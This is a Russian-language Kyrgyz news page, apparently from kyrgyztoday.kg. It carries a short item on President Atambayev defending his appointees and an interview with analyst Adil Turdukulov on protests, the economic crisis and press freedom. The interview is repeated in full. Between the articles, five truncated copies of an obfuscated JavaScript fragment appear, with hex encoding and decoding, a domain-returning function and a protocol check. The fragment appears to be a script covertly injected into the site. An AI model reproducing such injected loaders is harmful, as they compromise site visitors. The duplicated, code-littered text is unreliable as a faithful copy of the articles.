На критику по поводу кадровой политики президент отвечает в свойственной ему манере: «Вы им просто завидуете». Именно так Алмазбек Атамбаев выразился на днях, когда во время субботника журналисты задали ему вопрос о назначенцах. «В таких ведомствах, как АКС, должны быть чистые люди. Сейчас мы готовим реформу правоохранительных органов. За остаток своего срока я хочу добиться того, чтобы они не брали взяток и не трогали бизнес. Кто-то стал говорить, что Исраилов – участковый, но я хочу сказать, что он полковник, он руководил РОВД, где работали 300-400 человек, а потом заведовал еще большим отделом МВД. Я ему верю, он будет работать честно. Кто-то сейчас поливает мои назначения. Через 1,5 года я уйду. Если я какие-то ошибки сделал, я буду здесь, я отвечу за это головой. Это все зависть и сплетни. На самом деле, все, что я делаю только ради одного – чтобы события, которые у нас были, когда люди погибли, не должны пройти напрасно. У нас не должно быть преемников, назначенцев, кланов, семейного правления», – заявил президент.

Уже сейчас видны плоды работы «профессиональных» кадров президента. Суды устраивают судилища над журналистами, вменяя миллионные иски и вынуждая их бежать из страны, чиновники погрязли в коррупции. Тот же ГКНБ, который сегодня возглавляет назначенец главы государства Абдиль Сегизбаев, вместо обеспечения нацбезопасности, устраивает гонения на оппонентов власти, причем методы используются самые грязные.

Махинур Ниязова

Источник: respub.kg

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Политическая ситуация в Кыргызстане-комментарии кыргызского политолога

Динамичное развитие интеграционных процессов среди бывших государств СССР обусловило необходимость получения новых знаний о событиях, которые протекают в государствах-членах интеграционных блоков-ТС, ЕВРАЭС.

В 2015 году стал переходным для Кыргызстана – самого молодого члена Евразийского союза. Что же собой представляет эта республика на современном этапе, какие преодолевает трудности и каким ритмом живет, мы попросили прокомментировать политического эксперта Кыргызстана Адиля Турдукулова.

-Адиль Ильясович, в последнее время в Кыргызстане прошла череда митингов, что напоминает ситуацию перед революцией 2010 года. Возможно ли политическое обострение в КР?

-Вполне возможно. Потому что наблюдаются внешнеполитические шоки связанные с кризисом, особенно в Казахстане и России. Это напрямую влияет на ситуацию в Кыргызстане и как оказалось власти страны не готовы к такому раскладу. Меры, которые они принимают носят локальный характер, точечный. Конкретного, системного антикризисного плана у власти нет. Есть только марочка, вроде продажи стратегических объектов это во-первых, а во-вторых меры, связанные с введением в стране всякого рода взимания дани с населения в виде обязательного страхования жилья, автомобилей, повышения тарифов на электроэнергию и газ. Все эти меры, естественно вызывают недовольство у населения и последние митинги  говорят о том, что недовольство населения растет, и волна протестов имеет место быть.

-Вы говорите, что в стране нет реальной силы, могущей возглавить протестный электорат? С чем это связано?

-Есть два симптома. Во-первых все политические процессы происходят в основном в Бишкеке, в том числе  и обе революции. И можно сказать, что Бишкек и его жители устали от этих митингов, от того, что здесь происходило. Во-вторых на сегодняшний день многие люди осознали то, что от постоянный свержений власти толку мало. Одни придут другие уйдут и все равно ничего не изменится, как это было с Бакиевым и Атамбаевым. Но, реальная, способная оппозиция может появиться быстро, если ситуация в стране будет ухудшаться.

Есть ли угроза что все митинги могут перерасти в нечто серьезное? Настолько ли тяжела обстановка в стране или властям и народу все таки удастся договориться и найти компромисс?

-Положение очень серьезное и очень тяжелое. Я не берусь быть оракулом, потому что наша экономика не совсем самостоятельна. Она очень подвержена внешним шокам, тому, что происходит в Казахстане, Таджикистане, Узбекистане и России. Также от того, что происходит с экономикой Китая, потому что это крупнейший торговый партнер нашей страны, был им и остается. Экономический кризис, который там происходит, напрямую сказывается на нас. Поэтому трудно предугадать. Если внешне все будет спокойно, то ситуация я так полагаю не сильно радикализируется. Но если будет внешний интерес, а такое полагаю возможно, то вероятность обострения ситуации возрастет в разы.

-Совсем недавно в социальных сетях было бурное обсуждение по поводу того, кому были выгодны революции в Кыргызстане и кто посодействовал в их организации. Мнения разделились на два лагеря. Каково ваше мнение по данной ситуации?

-Обе революции не обошлись без внешнего влияния и влияние это было очень сильным. Если в 2005 году массовые протесты происходили в основном стихийно, то процессы 2011 года уже более управляемы. Но нельзя говорить о том, что все процессы в нашей стране приводящие к конфликту народа с властями происходят искусственно. Почва для недовольства в 2010 году  была. Сейчас в стране аналогичная ситуация, ситуация глубокого экономического кризиса, что хуже того, что было в 2010 году. И любые политические преобразования в стране, к примеру изменения Конституции могут привести к неблагоприятным для власти процессам.

-Что реально предлагает оппозиция для выхода из кризиса? Что нужно предпринять для задуманного?

-Полагаем это возможно, в случае если правительство будет независимо от Президента и Парламента, который недавно был избран. Как показали последние решения Парламента, они в большей степени популистские, нежели на пользу народу. Предлагаем создать правительство народного доверия, т.н. коалиционное правительство. Главный критерий для полноценной его работы-независимость от президента.

-Реальна ли идея создания коалиционного правительства, как реагируют на это власти?

-Это будет зависеть от ситуации в стране, если положение будет накаляться и ухудшаться. То я думаю, что все же инстинкт самосохранения у Президента  сработает и он примет соответствующее решение.

Уже 4 месяца как прошли выборы в ЖогоркуКенеш, что можете сказать о работе народных избранников за этот период?

-Нынешний парламент не отражает интересы народа. Потому что все кто в списках партий в Парламенте, они почти все проходили через администрацию Президента. И поэтому, там не оказалось ни одного независимого лидера, который мог бы от имени народа действительно чаяния его преподнести в Парламенте. Но мы сами выбрали тот парламент, который имеем и не думаю, что есть смысл проводить повторные выборы.

– В последнее время было принято считать, что в Кыргызстане развито понятие «свобода слова», но судя по последним событиям, выходит что это не так, так есть в Кыргызстане «свобода слова» или нет?

– Никто однозначно не говорил, что у нас развита «свобода слова». Эксперты говорили лишь о том, что Кыргызстан сравнительно находиться в более выгодном положении в части обеспечении свободы слова, организации митингов. Но на самом деле в этом плане на данный момент очень много проблем и в этой части они только усугубляются. На сегодня ни один из оппозиционных деятелей не имеет доступ к эфирам государственных телевизионных каналов, которые дают более сильный эффект на население. К тому же существует так называемый «черный список», всем кто попал в этот список запрещен доступ к телевидению. Второй момент, это то, что многомиллионные иски в отношении журналистов, как выразился представитель ОБСЕ по этому поводу, вырабатывает  у других журналистов «самоцензуру», чтобы кто-то из чиновников не подал многомиллионные иски, или посадить журналиста за решетку. Это своего рода предупреждение другим журналистам, которые пишут очень критично по отношению к нынешней власти. Сейчас власти организовывают давление в отношении представителей независимых СМИ. Кроме вот этих многомиллионных исков многотиражная газета «Вечерний Бишкек», она незаконно, руками зависимых судов была рейдерски захвачена людьми бриближенными к власти. И наши протесты, возгласы гражданского общества не возимели эффекта. Еще я вспомню о том что, некоторые сайты которые функционировали на территори Кыргызстана, постановлениями судов и постановлениями Жогоргу Кенеша запрещались. К примеру Фергана.Ру, когда этот соц.сайт был запрещен В Кыргызстане, хотя фактически это сделать невозможно конечно.

Значит теперь в Кыргызстане можно забыть о былой свободе слова, и цензура будет усиливаться?

Да. Знаете, нынешние руководители страны, пришли к власти благодаря активным действиям гражданского общества, независимых СМИ которые существовали в то время, и все что они сейчас делают это предательство идеалов революции, которая произошла в 2010 году, когда погибли мирные граждане, кототрые выступили против авторитаризма власти, спада экономики и авторитаризма власти.

К тому же сейчас геополитический вектор развития Кыргызстана во многом связан с Россией. Я конечно согласен что должны быть хорошие отношения с РФ, но во многом те негативные вещи политического аспекте которые происходят в России в внутри страны, они моделируются в Кыргызстане. То есть те вещи которые там происходят, давление на СМИ, на оппозицию осуществляются и у нас.

Источник:kokshetau.asia

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Политическая ситуация в Кыргызстане-комментарии кыргызского политолога

Динамичное развитие интеграционных процессов среди бывших государств СССР обусловило необходимость получения новых знаний о событиях, которые протекают в государствах-членах интеграционных блоков-ТС, ЕВРАЭС.

В 2015 году стал переходным для Кыргызстана – самого молодого члена Евразийского союза. Что же собой представляет эта республика на современном этапе, какие преодолевает трудности и каким ритмом живет, мы попросили прокомментировать политического эксперта Кыргызстана Адиля Турдукулова.

-Адиль Ильясович, в последнее время в Кыргызстане прошла череда митингов, что напоминает ситуацию перед революцией 2010 года. Возможно ли политическое обострение в КР?

-Вполне возможно. Потому что наблюдаются внешнеполитические шоки связанные с кризисом, особенно в Казахстане и России. Это напрямую влияет на ситуацию в Кыргызстане и как оказалось власти страны не готовы к такому раскладу. Меры, которые они принимают носят локальный характер, точечный. Конкретного, системного антикризисного плана у власти нет. Есть только марочка, вроде продажи стратегических объектов это во-первых, а во-вторых меры, связанные с введением в стране всякого рода взимания дани с населения в виде обязательного страхования жилья, автомобилей, повышения тарифов на электроэнергию и газ. Все эти меры, естественно вызывают недовольство у населения и последние митинги  говорят о том, что недовольство населения растет, и волна протестов имеет место быть.

-Вы говорите, что в стране нет реальной силы, могущей возглавить протестный электорат? С чем это связано?

-Есть два симптома. Во-первых все политические процессы происходят в основном в Бишкеке, в том числе  и обе революции. И можно сказать, что Бишкек и его жители устали от этих митингов, от того, что здесь происходило. Во-вторых на сегодняшний день многие люди осознали то, что от постоянный свержений власти толку мало. Одни придут другие уйдут и все равно ничего не изменится, как это было с Бакиевым и Атамбаевым. Но, реальная, способная оппозиция может появиться быстро, если ситуация в стране будет ухудшаться.

Есть ли угроза что все митинги могут перерасти в нечто серьезное? Настолько ли тяжела обстановка в стране или властям и народу все таки удастся договориться и найти компромисс?

-Положение очень серьезное и очень тяжелое. Я не берусь быть оракулом, потому что наша экономика не совсем самостоятельна. Она очень подвержена внешним шокам, тому, что происходит в Казахстане, Таджикистане, Узбекистане и России. Также от того, что происходит с экономикой Китая, потому что это крупнейший торговый партнер нашей страны, был им и остается. Экономический кризис, который там происходит, напрямую сказывается на нас. Поэтому трудно предугадать. Если внешне все будет спокойно, то ситуация я так полагаю не сильно радикализируется. Но если будет внешний интерес, а такое полагаю возможно, то вероятность обострения ситуации возрастет в разы.

-Совсем недавно в социальных сетях было бурное обсуждение по поводу того, кому были выгодны революции в Кыргызстане и кто посодействовал в их организации. Мнения разделились на два лагеря. Каково ваше мнение по данной ситуации?

-Обе революции не обошлись без внешнего влияния и влияние это было очень сильным. Если в 2005 году массовые протесты происходили в основном стихийно, то процессы 2011 года уже более управляемы. Но нельзя говорить о том, что все процессы в нашей стране приводящие к конфликту народа с властями происходят искусственно. Почва для недовольства в 2010 году  была. Сейчас в стране аналогичная ситуация, ситуация глубокого экономического кризиса, что хуже того, что было в 2010 году. И любые политические преобразования в стране, к примеру изменения Конституции могут привести к неблагоприятным для власти процессам.

-Что реально предлагает оппозиция для выхода из кризиса? Что нужно предпринять для задуманного?

-Полагаем это возможно, в случае если правительство будет независимо от Президента и Парламента, который недавно был избран. Как показали последние решения Парламента, они в большей степени популистские, нежели на пользу народу. Предлагаем создать правительство народного доверия, т.н. коалиционное правительство. Главный критерий для полноценной его работы-независимость от президента.

-Реальна ли идея создания коалиционного правительства, как реагируют на это власти?

-Это будет зависеть от ситуации в стране, если положение будет накаляться и ухудшаться. То я думаю, что все же инстинкт самосохранения у Президента  сработает и он примет соответствующее решение.

Уже 4 месяца как прошли выборы в ЖогоркуКенеш, что можете сказать о работе народных избранников за этот период?

-Нынешний парламент не отражает интересы народа. Потому что все кто в списках партий в Парламенте, они почти все проходили через администрацию Президента. И поэтому, там не оказалось ни одного независимого лидера, который мог бы от имени народа действительно чаяния его преподнести в Парламенте. Но мы сами выбрали тот парламент, который имеем и не думаю, что есть смысл проводить повторные выборы.

– В последнее время было принято считать, что в Кыргызстане развито понятие «свобода слова», но судя по последним событиям, выходит что это не так, так есть в Кыргызстане «свобода слова» или нет?

– Никто однозначно не говорил, что у нас развита «свобода слова». Эксперты говорили лишь о том, что Кыргызстан сравнительно находиться в более выгодном положении в части обеспечении свободы слова, организации митингов. Но на самом деле в этом плане на данный момент очень много проблем и в этой части они только усугубляются. На сегодня ни один из оппозиционных деятелей не имеет доступ к эфирам государственных телевизионных каналов, которые дают более сильный эффект на население. К тому же существует так называемый «черный список», всем кто попал в этот список запрещен доступ к телевидению. Второй момент, это то, что многомиллионные иски в отношении журналистов, как выразился представитель ОБСЕ по этому поводу, вырабатывает  у других журналистов «самоцензуру», чтобы кто-то из чиновников не подал многомиллионные иски, или посадить журналиста за решетку. Это своего рода предупреждение другим журналистам, которые пишут очень критично по отношению к нынешней власти. Сейчас власти организовывают давление в отношении представителей независимых СМИ. Кроме вот этих многомиллионных исков многотиражная газета «Вечерний Бишкек», она незаконно, руками зависимых судов была рейдерски захвачена людьми бриближенными к власти. И наши протесты, возгласы гражданского общества не возимели эффекта. Еще я вспомню о том что, некоторые сайты которые функционировали на территори Кыргызстана, постановлениями судов и постановлениями Жогоргу Кенеша запрещались. К примеру Фергана.Ру, когда этот соц.сайт был запрещен В Кыргызстане, хотя фактически это сделать невозможно конечно.

Значит теперь в Кыргызстане можно забыть о былой свободе слова, и цензура будет усиливаться?

Да. Знаете, нынешние руководители страны, пришли к власти благодаря активным действиям гражданского общества, независимых СМИ которые существовали в то время, и все что они сейчас делают это предательство идеалов революции, которая произошла в 2010 году, когда погибли мирные граждане, кототрые выступили против авторитаризма власти, спада экономики и авторитаризма власти.

К тому же сейчас геополитический вектор развития Кыргызстана во многом связан с Россией. Я конечно согласен что должны быть хорошие отношения с РФ, но во многом те негативные вещи политического аспекте которые происходят в России в внутри страны, они моделируются в Кыргызстане. То есть те вещи которые там происходят, давление на СМИ, на оппозицию осуществляются и у нас.

Источник:kokshetau.asia

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t=””,o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "kyrgyztoday.kg"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Меню

Сообщить об опечатке

Текст, который будет отправлен нашим редакторам: